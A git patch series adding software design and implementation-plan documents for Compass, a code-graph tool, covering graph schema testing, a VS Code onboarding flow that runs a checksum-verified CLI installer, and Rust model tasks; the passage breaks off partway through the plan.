query, and FTS5-input sizes are bounded. +- FTS5 queries use parameterized statements and escaped user input. +- Diagnostics do not copy unrelated environment or configuration secrets. +- Framework configuration parsers reject aliases, expansion, or recursion that + exceed documented limits. +- Query responses always report limits and truncation. + +## Testing strategy + +### Contract tests + +- Valid v1 serialization and canonical ordering. +- Unknown field, kind, role, provenance, confidence, and severity rejection. +- Endpoint-kind matrix validation. +- Stable file, node, route, domain, and edge identities. +- Portable identity across checkout roots. +- Duplicate and dangling endpoint rejection. +- Anchor bounds and path confinement. + +### Extraction and resolution tests + +Every node and edge kind requires: + +- a positive producer fixture; +- a negative near-match fixture; +- source-anchor assertions; +- provenance assertions; +- clean-build and incremental-build assertions. + +Every framework requires: + +- multiple methods and routes; +- nested prefixes; +- middleware order where applicable; +- exact, ambiguous, and unresolved handlers; +- add, change, delete, and rename sync cases; +- misleading syntax that emits no route. + +### Query tests + +- Exact and qualified search precedence. +- FTS5 ranking and filters. +- One-hop callers and callees. +- Route-to-handler, event, message, and job execution traversal. +- Impact paths, exact-only policy, containment behavior, and truncation. +- Explore grouping, path selection, source digest validation, and budgets. +- Node-trail evidence and wiring sites. +- Parallel relationship-site preservation. +- Missing, stale, ambiguous, partial, and conflicting results. + +### Cross-layer tests + +- Shared CLI and MCP golden query responses. +- Rust response and VS Code decoder parity. +- VS Code source navigation and evidence rendering. +- Program IR joins and conflicts. +- Atomic graph/Program/manifest/build-state publication. +- History rematerialization. +- Derived-cache deletion and corruption recovery. + +### Determinism and platform tests + +- Repeated clean builds are byte-identical. +- Incremental output equals a clean rebuild. +- Identity is stable across checkout roots. +- macOS, Linux, and Windows path behavior. +- Fuzzing for graph decoding, framework configuration, and query inputs. + +### Real-repository qualification + +- Small, medium, and large repositories for every supported language family. +- At least three representative route-to-handler flows per framework. +- No bounded ambiguous candidate is reported as exact. +- No falsely resolved handler is reported as exact. +- Query and indexing performance are measured against the release baseline and + regressions require explicit review. + +## Release gates + +The first release does not ship until: + +1. Every declared node and edge kind has a validated producer. +2. Every routing framework passes its fixture and real-repository matrix. +3. Clean and incremental graphs are canonically equivalent. +4. CLI, MCP, and VS Code expose matching query semantics. +5. Heuristic relationships always display rule and wiring evidence. +6. Strict mode rejects incomplete required coverage. +7. Unversioned artifacts cannot be mistaken for `compass.graph/1`. +8. Program IR enrichment cannot overwrite or silently contradict structural + evidence. +9. Cross-platform validation and security bounds pass. + +## Delivery sequence + +The implementation plan will divide the work into independently reviewable +deliverables: + +1. Graph v1 model, validation, identity, and hard cutover. +2. Core extraction normalization and provenance. +3. Enterprise/domain producers. +4. Framework routing intelligence packs. +5. Program IR reconciliation and derived query index. +6. Search, callers, callees, impact, explore, and node trail. +7. CLI and MCP adapters. +8. VS Code integration. +9. Cross-platform, real-repository, and release qualification. + +All nine deliverables belong to the first Compass Graph v1 release. From ee24b412fcc633862dc481e36478464fc8810150 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 21:49:09 -0700 Subject: [PATCH 03/25] docs: design VS Code CLI onboarding --- ...2026-07-27-vscode-cli-onboarding-design.md | 255 ++++++++++++++++++ 1 file changed, 255 insertions(+) create mode 100644 docs/superpowers/specs/2026-07-27-vscode-cli-onboarding-design.md diff --git a/docs/superpowers/specs/2026-07-27-vscode-cli-onboarding-design.md b/docs/superpowers/specs/2026-07-27-vscode-cli-onboarding-design.md new file mode 100644 index 00000000..38185bb4 --- /dev/null +++ b/docs/superpowers/specs/2026-07-27-vscode-cli-onboarding-design.md @@ -0,0 +1,255 @@ +# VS Code Compass CLI Onboarding Design + +## Context + +The VS Code extension discovers a Compass CLI from `compass.cliPath`, `PATH`, +and common install directories when it activates. When discovery fails, the +Workspace tree reports that the CLI needs attention and routes the user to the +existing binary selector. The startup notification similarly offers the +walkthrough or binary selection. Both paths assume that Compass has already +been installed. + +New users need a direct first-run path that installs Compass visibly in the +integrated terminal, verifies the resulting executable, and continues to the +existing repository initialization wizard without reloading VS Code. + +## Goals + +- Give a user with no Compass CLI a focused onboarding page. +- Install Compass through a visible VS Code terminal with one explicit action. +- Support macOS, Linux, Windows x64, and Windows ARM64. +- Verify the installed executable and required extension capabilities + automatically. +- Activate the verified CLI in the current extension session without a window + reload. +- End on a clear ready state with one primary repository-initialization action. +- Preserve manual selection for users who already have a CLI in a nonstandard + location. + +## Non-Goals + +- Bundling a Compass native binary in the VSIX. +- Running an installer in a hidden child process. +- Combining machine-wide CLI installation with repository scope configuration. +- Changing Compass graph-building behavior or the repository initialization + wizard. +- Adding telemetry, provider setup, or automatic graph creation. +- Refreshing the Graphify codegraph for this work, following the project + owner's explicit direction. + +## Entry Points + +When discovery reports `missing`, the Workspace tree shows **Set up Compass** +with a **Not installed** description. Selecting it opens the onboarding panel. + +The startup notification says that Compass is required and offers: + +1. **Install Compass**, which opens the onboarding panel. +2. **Select existing CLI**, which preserves the current binary-selection flow. + +The command palette gains **Compass: Install CLI** so the page can be reopened +directly. Incompatible installations continue to prefer binary selection or an +upgrade path; the new-user installer is primarily for a genuinely missing CLI. + +## Onboarding Page + +The page is a dedicated webview titled **Get started with Compass**. It uses the +same VS Code theme variables, typography, focus treatment, and responsive +layout conventions as the existing initialization wizard. + +### Ready to install + +The first state explains that Compass runs locally and that the VSIX does not +contain a native executable. It shows: + +- the detected workspace-host platform; +- the exact command that will run; +- a primary **Install Compass** button; and +- a secondary **Select an existing CLI** action. + +The webview never supplies command text to the extension host. It sends only a +bounded `install` intent, and the host chooses a fixed command for the detected +platform. + +### Installing + +The primary action creates or reuses a terminal named **Compass Setup**, shows +it, and immediately runs the official platform command. On Windows the +extension creates an explicit PowerShell terminal instead of assuming that the +user's default profile is PowerShell. The webview changes to **Installing +Compass…**, disables duplicate actions, and tells the user that full output is +available in the terminal. + +macOS and Linux run the released `install.sh`. Windows runs a new released +`install.ps1`. The integrated terminal is visible before the command is sent. + +### Verifying + +When the terminal command finishes, the extension: + +1. discovers the new executable in configured, `PATH`, and common locations; +2. reads `compass --version`; +3. requests `compass capabilities --format json`; +4. validates the result against the extension's existing capability schema and + requirements; and +5. activates the verified executable in the current extension runtime. + +The page reports **Verifying installation…** during this work. It never shows a +ready state based only on the installer's exit code or the presence of a file. + +### Ready + +Successful verification shows **Compass is ready**, the version, and the +selected executable path. The only primary action is **Initialize repository**. +It opens the existing initialization wizard and uses the normal repository +picker in a multi-root workspace. + +If no repository folder is open, the primary action becomes **Open repository +folder**. Opening a folder returns the user to the normal Compass workspace +flow. + +## Live CLI Runtime + +CLI discovery is currently captured once during extension activation. A small +runtime controller becomes the single owner of: + +- the current discovery result; +- the active executable; +- candidate inspection and capability negotiation; and +- change notifications for CLI-dependent views. + +Repository sessions continue to share one process-manager boundary. The +controller verifies a candidate with a temporary process manager before +publishing it. After verification succeeds, it updates the shared executable, +stores the selected absolute path in the machine-scoped `compass.cliPath` +setting, refreshes every repository's capability report, and notifies the +Workspace tree and status bar. + +The existing binary selector uses the same activation method. Selecting a valid +CLI therefore also stops requiring a VS Code reload. Runtime activation is +rejected while a Compass write or watch process is active so an executable +cannot change under a running operation. + +The Workspace tree reads current discovery state from the controller rather +than retaining the activation-time snapshot. + +## Terminal Execution + +The extension uses the workspace extension host's `process.platform`, so Remote +SSH, WSL, and Dev Containers install Compass on the host where extension +processes run. + +VS Code terminal shell integration supplies the install command's exit event +when available. The extension waits a bounded interval for shell integration, +runs the command through `executeCommand`, and filters the completion event by +the exact terminal and execution instance before acting on it. + +Some shells do not expose shell integration. In that case, the extension sends +the command as terminal text and starts bounded discovery polling. Polling +stops when a compatible executable is found, the setup terminal closes, the +panel closes, or the timeout expires. A timeout is a retryable verification +failure; it is not reported as a successful install. + +Windows prefers `pwsh.exe` when it is available and otherwise uses the +in-box `powershell.exe`. If neither executable can be launched, the page shows +manual release guidance and binary selection rather than falling back to an +unknown command shell. + +The command is chosen from a pure, platform-specific helper so command +construction and unsupported-platform behavior can be unit tested without a +terminal. + +## Official PowerShell Installer + +`scripts/install.ps1` becomes a first-party release asset beside +`scripts/install.sh`. It: + +1. requires a supported Windows host; +2. detects x64 or ARM64; +3. selects `x86_64-pc-windows-msvc` or `aarch64-pc-windows-msvc`; +4. downloads the matching release archive and `.sha256` file over HTTPS; +5. verifies the archive with `Get-FileHash -Algorithm SHA256`; +6. extracts `compass.exe` into a temporary directory; +7. copies it atomically into a user-writable install directory; and +8. prints the installed path and any PATH guidance. + +The default directory is a location already searched by VS Code discovery and +does not require elevation. `COMPASS_RELEASE_BASE_URL` and +`COMPASS_INSTALL_DIR` overrides mirror the shell installer so tests and +controlled deployments can use local fixtures. + +The release workflow publishes both installer scripts. The release-script test +suite exercises PowerShell architecture selection, successful checksum +verification, checksum rejection, extraction, and the final installed +executable on Windows CI. + +## Failure and Recovery + +- A nonzero shell-integration exit shows **Installation failed**, retains and + focuses the setup terminal, and offers **Try again** and **Select existing + CLI**. +- A successful command with no discovered executable shows every searched + location and offers **Verify again**. +- A discovered executable that fails capability negotiation shows its path and + version with a concise compatibility error. +- Closing the setup terminal before verification returns the page to a + retryable stopped state. +- Closing the onboarding panel cancels timers and listeners but does not close + the user's terminal. +- If a compatible Compass installation appears while the page is open, the + page skips installation and advances through verification to ready. +- Unsupported platforms show manual release guidance and binary selection + without offering a command that cannot succeed. + +Installer and verification failures never change `compass.cliPath` or the +active runtime. + +## Security and Privacy + +- The exact fixed command is displayed before execution. +- The installer always runs in a visible user terminal. +- No command, path, URL, or shell fragment is accepted from webview input. +- Installers use HTTPS and require a matching SHA-256 release checksum before + installing the binary. +- Installation uses user-writable paths and does not request elevation. +- The extension still runs only in trusted workspaces. +- The VSIX does not gain a native binary or remote webview asset. +- No telemetry is added. + +## Component Boundaries + +- `@compass/viewer` owns the reusable React onboarding presentation and state + rendering. +- The VS Code webview entry adapts extension messages into viewer props and + host intents. +- The onboarding panel owns terminal lifecycle observation and panel-specific + state. +- A CLI runtime controller owns discovery, verification, activation, and + change notification. +- A pure install-command module maps supported platforms to display and + execution commands. +- A bounded message parser rejects malformed webview intents. +- `scripts/install.ps1` owns Windows release download, verification, and + installation. + +These units communicate through typed messages and narrow methods so terminal, +runtime, and presentation behavior can be tested independently. + +## Verification + +- Unit-test install command selection for macOS, Linux, Windows, and unsupported + hosts. +- Unit-test CLI runtime activation, capability rejection, persistence, and + active-operation refusal. +- Unit-test Workspace tree behavior for missing, installing, verified, and + incompatible CLI states. +- Unit-test strict onboarding message parsing. +- Component-test every onboarding state, error recovery, disabled controls, + focus order, keyboard activation, and accessible status announcements. +- Test shell-integration completion filtering and the bounded polling fallback. +- Test `install.ps1` against fixture release assets for both Windows + architectures and for checksum rejection. +- Validate that the release workflow publishes `install.sh` and `install.ps1`. +- Run the VS Code typecheck, unit tests, integration tests, production build, + VSIX packaging, and VSIX smoke test. +- Run the existing release-script tests and `git diff --check`. From 2780b5057e3b845cf1419561a8429e183c96a0db Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 21:53:34 -0700 Subject: [PATCH 04/25] docs: plan Compass Code Graph v1 implementation --- .../plans/2026-07-27-compass-code-graph-v1.md | 2001 +++++++++++++++++ 1 file changed, 2001 insertions(+) create mode 100644 docs/superpowers/plans/2026-07-27-compass-code-graph-v1.md diff --git a/docs/superpowers/plans/2026-07-27-compass-code-graph-v1.md b/docs/superpowers/plans/2026-07-27-compass-code-graph-v1.md new file mode 100644 index 00000000..95cdc939 --- /dev/null +++ b/docs/superpowers/plans/2026-07-27-compass-code-graph-v1.md @@ -0,0 +1,2001 @@ +# Compass Code Graph v1 Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use +> `superpowers:subagent-driven-development` (recommended) or +> `superpowers:executing-plans` to implement this plan task-by-task. Steps use +> checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Ship the first supported `compass.graph/1` structural code graph, +including typed enterprise facts, framework routing, trusted provenance, +Program IR enrichment, shared queries, and VS Code presentation. + +**Architecture:** Keep the NetworkX node-link envelope, but make its metadata, +nodes, and links strict typed Rust records. Language extractors continue to +produce per-file raw facts; a typed normalization boundary in `compass-graph` +converts them into v1 records after `compass-resolve` finishes cross-file and +framework resolution. `graph.json` and `program.json` remain authoritative; +`compass-query` builds a disposable SQLite/FTS5 index and returns one +`compass.query/1` contract to CLI, MCP, and VS Code. + +**Tech Stack:** Rust 1.97, serde/serde_json, tree-sitter, SHA-256, rusqlite +0.31 with bundled modern SQLite/FTS5, TypeScript 5.9, Zod 4, React 19, Vitest, +Playwright, VS Code Extension API. + +## Global Constraints + +- The graph schema is exactly `compass.graph/1`. +- The durable envelope remains NetworkX-compatible with `directed`, + `multigraph`, `graph`, `nodes`, and `links`. +- Every published graph is directed and multigraph. +- Unversioned graphs are pre-contract artifacts: reject them at query/load + boundaries and rebuild them at index/update boundaries. +- Do not add a legacy graph adapter, translation mode, or compatibility + relationship aliases. +- Do not change Graphify or invoke the embedded TypeScript CodeGraph at runtime. +- Keep Program IR under its existing + `http://crab.build/compass/v1` schema. +- `graph.json`, `program.json`, manifest, and trusted build state publish as + one generation. +- Every declared node and edge kind must have a validated producer before the + release gate passes. +- Every heuristic edge must include its rule and wiring-site source anchor. +- Ambiguous resolution keeps bounded candidates; it never picks the first + candidate silently. +- Source returned by explore must match the digest recorded in the graph. +- CLI, MCP, and VS Code must consume the same `compass.query/1` semantics. +- Preserve the user's existing uncommitted + `editors/vscode/package.json` change unless it is intentionally superseded + during the VS Code task. + +--- + +## File and module structure + +| Path | Responsibility | +|---|---| +| `crates/compass-model/src/code_graph.rs` | V1 node, role, edge, file, build, coverage, and diagnostic records | +| `crates/compass-model/src/provenance.rs` | Anchors, origins, confidence, and evidence invariants | +| `crates/compass-model/src/identity.rs` | Portable SHA-256 file, symbol, route, domain, and edge IDs | +| `crates/compass-model/src/query_contract.rs` | Transport-neutral `compass.query/1` requests and responses | +| `crates/compass-model/src/document.rs` | NetworkX envelope serialization and strict v1 loading | +| `crates/compass-model/src/validation.rs` | Closed vocabulary, endpoint matrix, anchor, path, and graph validation | +| `crates/compass-languages/src/facts.rs` | Flexible pre-publication raw extraction records and framework facts | +| `crates/compass-languages/src/frameworks/*.rs` | Local route/domain detection by ecosystem | +| `crates/compass-resolve/src/frameworks/*.rs` | Cross-file handler, middleware, event, job, and ORM resolution | +| `crates/compass-graph/src/v1.rs` | Raw-to-v1 normalization and canonical graph construction | +| `crates/compass-query/src/index.rs` | Content-addressed SQLite/FTS5 index | +| `crates/compass-query/src/code_query.rs` | Search, callers, callees, impact, explore, and node trail | +| `crates/compass-query/src/program_join.rs` | Optional Program IR evidence reconciliation | +| `crates/compass-cli/src/code_query_commands.rs` | JSON/text CLI adapters | +| `crates/compass-mcp/src/code_query.rs` | MCP tool schemas and structured result adapters | +| `packages/compass-viewer/src/contracts/codeQuery.ts` | Zod mirror of `compass.query/1` | +| `packages/compass-viewer/src/graph/CodeEvidence.tsx` | Provenance, coverage, conflict, and truncation presentation | +| `editors/vscode/src/views/codeQueryClient.ts` | CLI-backed query client | + +## Milestone 1: Establish the graph contract and hard cutover + +### Task 1: Add the closed v1 vocabulary and typed records + +**Files:** + +- Create: `crates/compass-model/src/code_graph.rs` +- Create: `crates/compass-model/src/provenance.rs` +- Modify: `crates/compass-model/src/lib.rs` +- Modify: `crates/compass-model/src/document.rs` +- Test: `crates/compass-model/tests/code_graph_v1.rs` + +**Interfaces:** + +- Produces: + `NodeKind`, `NodeRole`, `EdgeKind`, `SourceAnchor`, `EvidenceOrigin`, + `EvidenceConfidence`, `Provenance`, `FileRecord`, `CoverageRecord`, + `GraphDiagnostic`, typed `NodeRecord`, typed `EdgeRecord`, + `GraphMetadata`, and `GraphDocument`. +- Consumers: every later task. + +- [ ] **Step 1: Write the failing serialization test** + +```rust +#[test] +fn serializes_the_networkx_v1_envelope() -> Result<(), Box> { + let document = fixture_graph(); + let value = serde_json::to_value(document)?; + assert_eq!(value["directed"], true); + assert_eq!(value["multigraph"], true); + assert_eq!(value["graph"]["schema"], "compass.graph/1"); + assert_eq!(value["nodes"][0]["kind"], "file"); + assert_eq!(value["links"][0]["kind"], "contains"); + assert_eq!(value["links"][0]["key"], value["links"][0]["id"]); + assert!(value["links"][0].get("relation").is_none()); + Ok(()) +} +``` + +Also assert serde rejects `"kind":"unknown"` for a node, edge, role, origin, +confidence, and diagnostic severity. + +- [ ] **Step 2: Run the test and verify the contract is absent** + +Run: + +```bash +cargo test -p compass-model --test code_graph_v1 --locked +``` + +Expected: compilation fails because the v1 types and `fixture_graph` cannot be +constructed. + +- [ ] **Step 3: Implement the exact vocabulary** + +Define serde `snake_case` enums with these variants: + +```rust +pub enum NodeKind { + File, Module, Package, Namespace, Class, Struct, Interface, Trait, + Protocol, Enum, EnumMember, TypeAlias, Function, Method, Constructor, + Property, Field, Variable, Constant, Parameter, Import, Export, Macro, + Annotation, Route, Component, Event, Message, Topic, Queue, Job, Resource, + Schema, Query, Migration, ConfigKey, Database, DatabaseSchema, + DatabaseTable, DatabaseView, DatabaseColumn, DatabaseIndex, + DatabaseConstraint, DatabaseProcedure, DatabaseTrigger, +} + +pub enum NodeRole { + Controller, RouteHandler, Middleware, Service, Resolver, Consumer, + Producer, Subscriber, Repository, Model, Test, Fixture, Generated, +} + +pub enum ResourceKind { + Document, Paper, Image, Concept, Rationale, +} + +pub enum EdgeKind { + Contains, Calls, Imports, Exports, Extends, Implements, References, + TypeOf, Returns, Instantiates, Overrides, Decorates, RoutesTo, Reads, + Writes, Aliases, Registers, Handles, Publishes, Subscribes, Produces, + Consumes, Schedules, Triggers, Tests, DependsOn, Documents, MapsTo, +} +``` + +Use `#[serde(deny_unknown_fields)]` on structured records. Serialize edge +identity into both `id` and NetworkX `key`. Keep community fields typed and +optional on `NodeRecord`; represent `resource` details with `ResourceKind`; +do not reintroduce a flattened attributes map. + +- [ ] **Step 4: Run the model tests** + +Run: + +```bash +cargo test -p compass-model --test code_graph_v1 --locked +cargo test -p compass-model --all-targets --locked +``` + +Expected: all tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-model +git commit -m "feat(model): define Compass graph v1" +``` + +### Task 2: Implement portable identities and provenance validation + +**Files:** + +- Create: `crates/compass-model/src/identity.rs` +- Modify: `crates/compass-model/src/provenance.rs` +- Modify: `crates/compass-model/src/validation.rs` +- Modify: `crates/compass-model/src/error.rs` +- Test: `crates/compass-model/tests/code_graph_identity.rs` +- Test: `crates/compass-model/tests/code_graph_validation.rs` + +**Interfaces:** + +- Produces: + `file_id(path)`, `symbol_id(SymbolIdentity)`, `route_id(RouteIdentity)`, + `domain_id(DomainIdentity)`, `edge_id(EdgeIdentity)`, and + `validate_graph_v1(&GraphDocument)`. +- Consumes: v1 types from Task 1. + +- [ ] **Step 1: Write failing identity and provenance tests** + +```rust +#[test] +fn identity_is_checkout_root_independent() { + let left = symbol_id(&SymbolIdentity { + language: "rust", + kind: NodeKind::Function, + source_path: "src/lib.rs", + qualified_name: "crate::run", + overload: None, + }); + let right = symbol_id(&SymbolIdentity { + source_path: "./src/../src/lib.rs", + ..same_symbol() + }); + assert_eq!(left, right); + assert!(!left.contains('/')); +} + +#[test] +fn heuristic_edges_require_a_wiring_site() { + let mut edge = calls_edge(); + edge.provenance.origin = EvidenceOrigin::Heuristic; + edge.provenance.rule = Some("event-dispatch".to_owned()); + edge.provenance.wiring_site = None; + assert!(matches!( + validate_graph_v1(&graph_with(edge)), + Err(GraphError::InvalidProvenance { .. }) + )); +} +``` + +Add tests for out-of-bounds anchors, absolute paths, `..` escape, conflicting +duplicate IDs, dangling endpoints, and invalid endpoint-kind combinations. + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-model --test code_graph_identity --locked +cargo test -p compass-model --test code_graph_validation --locked +``` + +Expected: tests fail because identity and strict validation are missing. + +- [ ] **Step 3: Implement identity and invariants** + +Use length-prefixed identity components and SHA-256: + +```rust +fn digest_identity(namespace: &str, fields: &[&str]) -> String { + let mut bytes = Vec::new(); + push_field(&mut bytes, "compass.graph/1"); + push_field(&mut bytes, namespace); + for field in fields { + push_field(&mut bytes, field); + } + format!("{namespace}:{}", hex_sha256(&bytes)) +} +``` + +Normalize separators to `/`, collapse `.` components, reject `..`, absolute +paths, prefixes, and empty paths. Validate the full endpoint matrix from the +approved design. A heuristic provenance record requires non-empty `rule` and +`wiring_site`; all other origins require at least one anchor. + +- [ ] **Step 4: Verify identity and validation** + +Run: + +```bash +cargo test -p compass-model --test code_graph_identity --locked +cargo test -p compass-model --test code_graph_validation --locked +cargo test -p compass-model --all-targets --locked +``` + +Expected: all tests pass. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-model +git commit -m "feat(model): validate graph identity and evidence" +``` + +### Task 3: Enforce the graph v1 hard cutover + +**Files:** + +- Modify: `crates/compass-model/src/document.rs` +- Modify: `crates/compass-model/src/error.rs` +- Modify: `crates/compass-core/src/pipeline.rs` +- Modify: `crates/compass-core/src/build_state.rs` +- Modify: `crates/compass-history/src/store.rs` +- Modify: `crates/compass-history/src/artifacts.rs` +- Modify: `crates/compass-history/src/validate.rs` +- Test: `crates/compass-model/tests/contracts_coverage.rs` +- Test: `crates/compass-core/tests/loading_coverage.rs` +- Test: `crates/compass-history/tests/roundtrip.rs` + +**Interfaces:** + +- Produces: + `GraphError::UnsupportedSchema`, strict `GraphDocument::load`, and + build-only `graph_needs_full_rebuild`. +- Consumers: all graph readers and the history store. + +- [ ] **Step 1: Write failing hard-cutover tests** + +Add three cases: + +```rust +#[test] +fn loader_rejects_unversioned_graphs() { + let error = GraphDocument::from_slice( + br#"{"directed":true,"multigraph":true,"graph":{},"nodes":[],"links":[]}"# + ).unwrap_err(); + assert!(matches!(error, GraphError::UnsupportedSchema { found: None })); +} + +#[test] +fn update_rebuilds_a_precontract_graph_from_source() -> Result<(), Box> { + let repo = seeded_repo("fn run() {}")?; + write_precontract_graph(&repo)?; + let result = run_update(&repo)?; + assert_eq!(load_graph(&result)?.metadata.schema, "compass.graph/1"); + Ok(()) +} + +#[test] +fn history_store_format_names_compass_graph_v1() { + assert!(store_format().contains(r#""graph_schema":"compass.graph/1""#)); +} +``` + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-model --test contracts_coverage --locked +cargo test -p compass-core --test loading_coverage --locked +cargo test -p compass-history --test roundtrip --locked +``` + +Expected: the unversioned graph loads and the history format still names +`networkx-node-link/v1`. + +- [ ] **Step 3: Implement the hard cutover** + +- Require `graph.schema == "compass.graph/1"` in every query/history loader. +- Let update/index detect `UnsupportedSchema` before loading incremental state, + invalidate AST/query/output caches, and perform a clean source rebuild. +- Bump the trusted build-state and history store graph-schema fingerprints. +- Refuse mixed graph/program/manifest/build-state generations. +- Do not deserialize old `relation` attributes into `EdgeKind`. + +- [ ] **Step 4: Verify the cutover** + +Run: + +```bash +cargo test -p compass-model -p compass-core -p compass-history --all-targets --locked +``` + +Expected: all tests pass, including explicit rejection of pre-contract graph +reads and source rebuild during update. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-model crates/compass-core crates/compass-history +git commit -m "feat: hard cut over to Compass graph v1" +``` + +## Milestone 2: Normalize extraction and publication + +### Task 4: Separate raw extraction facts from published records + +**Files:** + +- Modify: `crates/compass-languages/src/facts.rs` +- Modify: `crates/compass-languages/src/lib.rs` +- Modify: `crates/compass-languages/src/apex.rs` +- Modify: `crates/compass-languages/src/bash.rs` +- Modify: `crates/compass-languages/src/cpp.rs` +- Modify: `crates/compass-languages/src/csharp.rs` +- Modify: `crates/compass-languages/src/dart.rs` +- Modify: `crates/compass-languages/src/dm.rs` +- Modify: `crates/compass-languages/src/dotnet_project.rs` +- Modify: `crates/compass-languages/src/elixir.rs` +- Modify: `crates/compass-languages/src/engine.rs` +- Modify: `crates/compass-languages/src/fortran.rs` +- Modify: `crates/compass-languages/src/go.rs` +- Modify: `crates/compass-languages/src/groovy.rs` +- Modify: `crates/compass-languages/src/json_config.rs` +- Modify: `crates/compass-languages/src/julia.rs` +- Modify: `crates/compass-languages/src/markdown.rs` +- Modify: `crates/compass-languages/src/mcp.rs` +- Modify: `crates/compass-languages/src/objc.rs` +- Modify: `crates/compass-languages/src/package_manifest.rs` +- Modify: `crates/compass-languages/src/pascal.rs` +- Modify: `crates/compass-languages/src/pascal_forms.rs` +- Modify: `crates/compass-languages/src/php.rs` +- Modify: `crates/compass-languages/src/powershell.rs` +- Modify: `crates/compass-languages/src/r.rs` +- Modify: `crates/compass-languages/src/rust_lang.rs` +- Modify: `crates/compass-languages/src/scip.rs` +- Modify: `crates/compass-languages/src/sql.rs` +- Modify: `crates/compass-languages/src/swift.rs` +- Modify: `crates/compass-languages/src/templates.rs` +- Modify: `crates/compass-languages/src/terraform.rs` +- Modify: `crates/compass-languages/src/verilog.rs` +- Modify: `crates/compass-languages/src/xaml.rs` +- Modify: `crates/compass-languages/src/zig.rs` +- Modify: `crates/compass-resolve/src/lib.rs` +- Modify: `crates/compass-resolve/src/members.rs` +- Create: `crates/compass-graph/src/v1.rs` +- Modify: `crates/compass-graph/src/lib.rs` +- Test: `crates/compass-languages/tests/typed_extraction.rs` +- Test: `crates/compass-graph/tests/graph_v1_normalization.rs` + +**Interfaces:** + +- Produces: + `RawNodeRecord`, `RawEdgeRecord`, `RawFrameworkFact`, and + `normalize_v1(Extraction, BuildEvidence) -> Result`. +- Consumes: typed v1 model and current per-language extraction behavior. + +- [ ] **Step 1: Write failing normalization tests** + +Build raw facts using the current extractor vocabulary and assert exact v1 +normalization: + +```rust +#[test] +fn normalizes_old_internal_relations_without_publishing_aliases() { + let raw = extraction_with_relations([ + ("imports_from", "imports"), + ("re_exports", "exports"), + ("inherits", "extends"), + ("indirect_call", "calls"), + ("reads_from", "reads"), + ("references_constant", "references"), + ("uses_static_prop", "references"), + ]); + let graph = normalize_v1(raw, evidence()).unwrap(); + assert!(graph.links.iter().all(|edge| { + !["imports_from", "re_exports", "inherits", "indirect_call"] + .contains(&edge.kind.as_str()) + })); + let indirect = graph.links.iter() + .find(|edge| edge.kind == EdgeKind::Calls + && edge.provenance.rule.as_deref() == Some("indirect-call-resolution")) + .unwrap(); + assert_eq!(indirect.provenance.origin, EvidenceOrigin::Heuristic); +} +``` + +Add a compile-time migration test proving extractors use raw records and only +`compass-graph` constructs published v1 records. + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-languages --test typed_extraction --locked +cargo test -p compass-graph --test graph_v1_normalization --locked +``` + +Expected: raw types and normalization do not exist. + +- [ ] **Step 3: Move the flexible records to the extraction boundary** + +Define: + +```rust +pub struct RawNodeRecord { + pub id: String, + pub attributes: serde_json::Map, +} + +pub struct RawEdgeRecord { + pub source: String, + pub target: String, + pub attributes: serde_json::Map, +} +``` + +Change extractor imports mechanically from `compass_model` to +`crate::facts::{RawNodeRecord as NodeRecord, RawEdgeRecord as EdgeRecord}`. +Change `compass-resolve` to operate on raw records. Implement the closed +normalization table in `compass-graph/src/v1.rs`; any producer kind or relation +outside the table is a build error with producer file and anchor. + +Normalize current semantic/media nodes to `resource` with a typed +`resource_kind` of `document`, `paper`, `image`, `concept`, or `rationale`. +Normalize `rationale_for` to `documents`, `configures` to `depends_on`, +`case_of`, `defines`, and `method` to `contains`, `uses` to `references`, +`embeds` to `contains` with evidence rule `embedded-member`, `mixes_in` to +`implements` with evidence rule `mixin-contract`, `reads_from` to `reads`, +`inherits` to `extends`, and `re_exports` to `exports`. Relations already in +the closed vocabulary retain their typed meaning. The producer spelling is +retained only in evidence detail; it is never serialized as an edge-kind +alias. + +- [ ] **Step 4: Run language, resolver, and graph tests** + +Run: + +```bash +cargo test -p compass-languages -p compass-resolve -p compass-graph --all-targets --locked +``` + +Expected: all existing extraction behavior passes through the typed +publication boundary. + +- [ ] **Step 5: Commit** + +```bash +git add crates/compass-languages crates/compass-resolve crates/compass-graph +git commit -m "refactor: type the graph publication boundary" +``` + +### Task 5: Publish file inventory, coverage, diagnostics, and canonical bytes + +**Files:** + +- Modify: `crates/compass-core/src/pipeline.rs` +- Modify: `crates/compass-core/src/build_state.rs` +- Modify: `crates/compass-files/src/manifest.rs` +- Modify: `crates/compass-graph/src/v1.rs` +- Modify: `crates/compass-history/src/artifacts.rs` +- Test: `crates/compass-core/tests/program_pipeline.rs` +- Test: `crates/compass-core/tests/loading_coverage.rs` +- Test: `crates/compass-history/tests/roundtrip.rs` + +**Interfaces:** + +- Produces: + `BuildMetadata`, complete `FileRecord` inventory, canonical graph bytes, and + one-generation publication. +- Consumes: Tasks 1-4 and existing file manifests. + +- [ ] **Step 1: Write failing publication tests** + +```rust +#[test] +fn clean_and_incremental_builds_are_byte_identical() -> Result<(), Box> { + let repo = seeded_repo("pub fn run() {}")?; + let clean = build(&repo, true)?; + let incremental = build(&repo, false)?; + assert_eq!(fs::read(clean.graph_path)?, fs::read(incremental.graph_path)?); + Ok(()) +} + +#[test] +fn file_inventory_reports_failed_extraction() -> Result<(), Box> { + let graph = build_fixture_with_invalid_source()?; + let file = graph.metadata.files.iter().find(|f| f.path == "src/bad.py").unwrap(); + assert_eq!(file.extraction_status, ExtractionStatus::Failed); + assert!(!file.diagnostics.is_empty()); + Ok(()) +} +``` + +Also assert build metadata excludes timestamps, hostnames, and absolute roots. + +- [ ] **Step 2: Verify the tests fail** + +Run: + +```bash +cargo test -p compass-core --test loading_coverage --locked +cargo test -p compass-history --test roundtrip --locked +``` + +Expected: file inventory and canonical v1 generation are absent. + +- [ ] **Step 3: Implement deterministic metadata and atomic publication** + +Compute: + +```rust +BuildMetadata { + builder_version, + schema_fingerprint, + source_tree_digest, + configuration_digest, + generation_id, +} +``` + +Derive `generation_id` from the preceding four fields plus Program 